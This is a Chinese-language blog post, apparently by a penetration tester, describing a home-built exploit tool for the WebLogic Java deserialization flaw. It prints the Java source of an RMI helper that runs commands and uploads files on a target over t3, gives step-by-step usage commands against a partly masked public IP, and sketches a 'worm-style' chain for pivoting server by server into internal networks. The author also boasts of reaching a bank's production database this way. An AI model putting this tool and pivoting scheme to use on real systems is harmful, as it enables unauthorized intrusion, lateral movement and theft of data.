我是如何造Weblogic反序列化漏洞EXP的轮子

  1. 简介

从国内开始讨论分析Weblogic、Jboss、Websphere等中间件存在JAVA反序列化漏洞至今,已经过了大半年了。JAVA反序列化漏洞利用已经平民化的今天,每一个白帽子手里都有2-3个神器供自己做安全测试时使用。在内网渗透测试中,遇到有以下一种或多种复杂情况时现有的exp就毫无招架之力了:

  1. 目标受网络设备限制,不能能成功端口转发、代理,仅有Web端口能进出。
  2. 目标以及目标所在内网环境均为Linux或Unix服务器。
  3. 通过各种手段,只能拿到反弹shell或者webshell

上面是我暂时能想得到的以存在Weblogic反序列化漏洞的目标作为内网渗透入口时会遇到的尴尬的情况。因为实际需要,我改写了一个Python版本的Weblogic反序列化漏洞的EXP,本篇文章记录的是我如何改写我们团队Bird牛的Weblogic利用的EXP工具为Python版,也感谢Bird牛的提供的源码以供我分析和实现自己的小工具,这在之前的客户的渗透项目中起了大用处(PS: 第一次直捣xx银行生产数据库)。

  1. 思路及实现

改写的 Weblogic EXP同样满足4个功能需要,分别如下:

  1. 连接目标:输入目标Ip、端口、尝试利用两种方式,上传payload到服务器。
  2. 上传文件:输入目标上文件保存路径,本地文件路径,能够上传文件。
  3. 执行命令:输入命令,执行命令并回显。
  4. 断开连接:清空目标服务器上的临时文件,关闭连接,退出程序。

EXP使用Python编程实现,使用Socket模拟T3协议过程,实现上传payload和后续操作具体实现如下(PS:只对exp感兴趣的直接跳到第3节使用说明)。

1. 连接目标

连接目标其实就是构造payload,发送精心构造的payload利用weblogic反序列化漏洞的过程。我通过本地调试和抓包抓出了Bird的Exp中关键的payload,我将payload归纳定义为下面的变量:

使用Socket利用方式的payload:

  1. payload_socket_win_init
  2. payload_socket_win_open_port
  3. payload_socket_linux_init
  4. payload_socket_linux_open_port

使用RMI利用方式的payload:

  1. payload_rmi_win_init
  2. payload_rmi_win_class
  3. payload_rmi_linux_ini
  4. payload_rmi_linux_class

我们首先利用socket模拟T3协议将我们构造的用于执行命令,开启Socket服务器的payload(封装在T3协议里的构造的执行命令或开启socket服务端的序列化后的字节流)发送到目标的console端口,weblogic中间件在反序列化时把用于执行命令、开启socket服务的字节序列写入到了指定的路径下。然后第二次模拟T3协议过程,将之前上传的字节序列反序列化并利用反射机制执行上传文件、命令执行、开启socket服务器等操作。

定义socket方法如下:

201612221482374424514489.png

58行代码是模拟T3协议头,如果目标端口允许T3协议进行数据传输,就会返回这样的字符串:

HELO:10.3.5.0.false
AS:2048
HL:19

HELO表示目标接收T3协议冒号后面紧跟着weblogic版本,判断HELO字符串在socket接收到的响应里就可以进行下一步了。

下一步就是封装好的T3协议数据流,这里的payload_type传输参是这样的:

201612221482374472528801.png

72行是程序的执行入口

73——74行获取我们输入目标IP或域名,获取目标端口

我将exp拆分为了对windows系统和对linux系统利用的独立脚本, 每一个脚本都包括了socket和RMI方式的利用手段,具体的payload的就不在文章中附上了,可以在脚本工具里面去看。

201612221482374491493168.png

Payload是我通过像上面截图里调试输出代码的方式,取出来的通用payload,exp实现的socket、rmi方式,针对linux和windows的一共8个payload,都在我的exp脚本里面。

Exp中Socket利用方式默认以65500端口作为Socket服务器的监听端口。

测试windows目标:

  • Weblogic10.3.5版本

效果:

连接脚本目标目标之前:

201612221482374525823507.png

连接之后:

201612221482374593897517.png

在目标的Temp临时目录下面成功写入了payload文件,同时exp成功执行whoami查的了当前用户。

2. 执行命令

执行命令有两种方式,一种是通过Socket方式将执行的命令以格式:cmd:::命令发送到目标启动的Socket服务端,如下面截图:

201612221482374619386654.png

二是通过RMI方式,经过我多很久的研究也没法在Python下模拟JAVA实现RMI方式的调用,所以只能用JAVA写了一个辅助使用的JAR包来完成RMI方式的利用,我们使用JAVA命令调用辅助jar文件来让目标执行我们的命令。(安装weblogic中间件时会自带安装JAVA的,不存在目标服务器上不能执行java命令的情况。)

实现代码大概如下:

public class JavaExp {
    
    private static String remoteWindowsPath = "/c:/windows/temp/H3y5ec.tmp";
    private static String remoteLinuxPath = "/tmp/H3y5ec.tmp";  
    private static String Notices = ""
            + "用法:\n"
            + "1.一句话命令执行:\n"
            + "例子:java exp.jar 127.0.0.1 7001 'net user'\n"
            + "2.文件上传\n"
            + "例子:java exp.jar 127.0.0.1 7001 upload '本地文件绝对路径' '远程目标文件绝对路径'\n";
    private static RemoteObject remote;
    public static void main(String[] args) throws NamingException {
        if(args.length <3){
            System.out.println("参数错误!!\n");
            System.out.println(Notices);
            System.exit(0);
        }
            String host = args[0];
            String port = args[1];
            String order =  args[2];
            Hashtable<String, String> env = new Hashtable<String, String>();
            env.put("java.naming.factory.initial",
                    "weblogic.jndi.WLInitialContextFactory");
            env.put("java.naming.provider.url", "t3://"
                    +host+ ":" + port);
            try {
                Context ctx = new InitialContext(env);
                remote = (RemoteObject) ctx
                        .lookup("RemoteObject");
            try {
                if("unbind".equals(order)){
                    try {
                        remote.unbind(remoteWindowsPath);
                        remote.unbind(remoteLinuxPath);
                        System.out.println("unbind_OK");
                        return ;
                    } catch (Exception e) {
                    }
                }
                if("upload".equals(order)){
                    if(args.length <5){
                        System.out.println("参数错误!!\n");
                        System.out.println(Notices);
                        System.exit(0);
                    }
                    String localfilePath =  args[3];
                    String remotefilePath = args[4];
                    
                    UploadFile(localfilePath,remotefilePath);
                }else{
                    String result = remote.exec(order);
                    System.out.print("result:\n"+result);   
                }
            } catch (Exception e) {
            }
        } catch (Exception e) {
            System.out.println("ConnectFailed");
        }
    }
    public static void UploadFile(final String localfilePath,final String remotefilePath){
        new Thread(new Runnable() {
            @Override
            public void run() {
                FileInputStream fileInputStream = null;
                try {
                    File file = new File(localfilePath);
                    fileInputStream = new FileInputStream(file);
                    long total = file.length();
                    byte[] data = new byte[100 * 1024];
                    double sendedLen = 0;
                    NumberFormat nf = NumberFormat.getPercentInstance();
                    int len = fileInputStream.read(data);
                        if (len != -1) {
                            if (remote.upload(remotefilePath,
                                    Arrays.copyOfRange(data, 0, len),
                                    false)) {
                                sendedLen = sendedLen + len;
                                System.out.println("上传中...已完成"
                                        + nf.format(sendedLen / total));
                                while ((len = fileInputStream
                                        .read(data)) != -1) {
                                    if (!remote.upload(remotefilePath,
                                            Arrays.copyOfRange(data, 0,
                                                    len), true)) {
                                        System.out.println("上传失败!");
                                        break;
                                    }
                                    sendedLen = sendedLen + len;
                                    System.out.println("上传中...已完成"
                                            + nf.format(sendedLen
                                                    / total));
                                }
                                if (len == -1) {
                                    System.out.println("上传成功!");
                                }
                            } else {
                                System.out.println("上传失败!");
                            }
                        } else {
                            System.out.println("上传失败!");
                        }
                } catch (Exception e) {
                    System.out.println("上传失败!");
                } finally {
                    try {
                        fileInputStream.close();
                    } catch (IOException e1) {
                    }
                }
            }
        }).start();
    }
}

从代码的实现功能来看,那么执行命令的调用就是这样的:

Java –jar xxxx.jar Ip port “command”

201612221482374653864672.png

使用RMI方式调用上传文件的函数完成文件上传,上面的代码中UploadFile里面已经给了具体的实现,上传文件的调用和效果如下:

201612221482374678496703.png

4. 断开连接

使用反注册类,将我们上传的payload临时文件清空。实现代码截图如下:

201612221482374706924547.png

0x03 EXP使用手册

usage: win_weblogic_exp.py [-h] [-target TARGET] [-port PORT] [-cmd CMD]
                           [-lfile LFILE] [-rfile RFILE]
optional arguments:
-h, --help       show this help message and exit——查看帮助
  -target TARGET  the target ip or domain.——指定目标IP或域名
  -port PORT      the target port.——指定目标端口
  -cmd CMD      [init|command|bye|upload]——
选择类型:
Ø  init : exp会上传payload,尝试利用反序列化漏洞。
Ø  command: 执行一句话命令
Ø  bye: 断开目标,清空上传在目标服务器上的payload文件。
Ø  upload: 进入上传文件模式,后面必须补充lfile和rfile参数。
  -lfile LFILE      local file.——本地文件绝对路径。
  -rfile RFILE     remote file.——上传文件在目标服务器上保存的绝对路径。

1. 连接目标

用法:

python win_weblogic_exp.py -target 218.*.**.99 -port 7001 -cmd init

效果:

201612221482374746540497.png

201612221482374769426195.png

2. 执行一句话命令

用法:

python win_weblogic_exp.py -target 218.*.**.99 -port 7001 -cmd "cmd /c ipconfig"

201612221482374821106195.png

201612221482374847251774.png

3. 上传文件

使用py脚本用法:

python win_weblogic_exp.py -target 192.168.18.133 -port 7001 -cmd upload -lfile "E://boot.ini.txt" -rfile "C://boot.ini.txt"

或者使用辅助jar文件:

上传文件:

201612221482374877860081.png

或者:

201612221482374910205682.png

查看文件:

201612221482374936378794.png

或者:

201612221482374963123522.png

上传文件:

201612221482375011949492.png

查看文件:

201612221482375058549613.png

4.断开目标

用法:

python win_weblogic_exp.py -target 192.168.18.133 -port 7001 -cmd bye

201612221482375116984623.png

201612221482375141836185.png

0x04 总结

写本轮子主要是为了方便在内网渗透测试时方便使用,现在网上流传的exp均是大牛们写的GUI版的带回显,不需要通外网的实现版本。当遇到全linux和不能远程桌面的windows内网时,想要进一步攻击内网中存在weblogic反序列化漏洞的服务器时,这个轮子就发挥了巨大作用。

总结一下造的这个轮子的功能。

  1. 适用于Linux服务器(因为他们自带python环境,后面有空会再造个JAR版的EXP就通用于Windows和Linux了。)
  2. 支持一句话命令执行。
  3. 支持文件上传

PS: windows和linux攻击exp轮子会在文章最后附上,下面是一片瞎想。

0x05 瞎想

突然冒出的想法:“蚯蚓式”攻击:

假如有这样的环境:A 、B、C、D…… N内网全是Linux服务器,他们分别是第一层、第二层、第三层、…… 第N层内网。

A ——B——C——D——…….N

A:是内网入口

B 、C、D…..是2层、3层、4层….N层内网主机,都存在weblogic反序列化漏洞。

那么我们就可以用这个轮子,一层一层的把他们串起来。

1、攻击者 VS 服务器A

python linux_weblogic_exp.py -target A_IP -port 7001 -cmd init

上传攻击EXP轮子到A服务器

python linux_weblogic_exp.py -target A_IP -port 7001 -cmd upload -lfile "攻击者电脑上exp" -rfile “A服务器上EXP”

2、 已沦陷的A服务器 VS B服务器

python win_weblogic_exp.py -target A_IP -port 7001 –cmd “python /tmp/linux_weblogic_exp.py –target B_IP –port –cmd init”

控制A上传攻击EXP轮子到B服务器上

python win_weblogic_exp.py -target A_IP -port 7001 -cmd “python /tmp/linux_weblogic_exp.py –target B_IP –port 7001 –cmd upload –lfile ‘A服务器上EXP ’ –rfile ‘B 服务器上EXP’”

3、已沦陷的B服务器 VS C服务器

python linux_weblogic_exp.py -target A_IP -port 7001 -cmd “python /tmp/linux_weblogic_exp.py –target B_IP –port 7001 –cmd ‘python /tmp/linux_weblogic_exp –target C_IP –port 7001 –cmd init’”

让A服务器控制B服务器上传EXP轮子到C服务器

python linux_weblogic_exp.py -target A_IP -port 7001 -cmd “python /tmp/linux_weblogic_exp.py –target B_IP –port 7001 –cmd ‘python /tmp/linux_weblogic_exp –target C_IP –port 7001 –cmd upload –lfile ‘B服务器上EXP’ –rfile ‘C服务器上EXP’ ’”

4、……不断往下个”蚯蚓式攻击”

上面的瞎想有可能成为现实,我之前遇到的全Linux内网环境,只有2层网络。也就是B、C、D都在第二层内网,我控制了A,通过A控制了第二层内网3-4台Weblogic服务器,其中一个上面找到了连接核心数据库的配置,从而能够直达某网银生产数据库。这样的“蚯蚓式攻击”很绕也很复杂,当然能突破网络边界限制,端口转发或代理出来或映射过去能直达下一层网络,谁愿意这么费力去绕弯子啊??

标签: Weblogic反序列化, 反序列化漏洞

添加新评论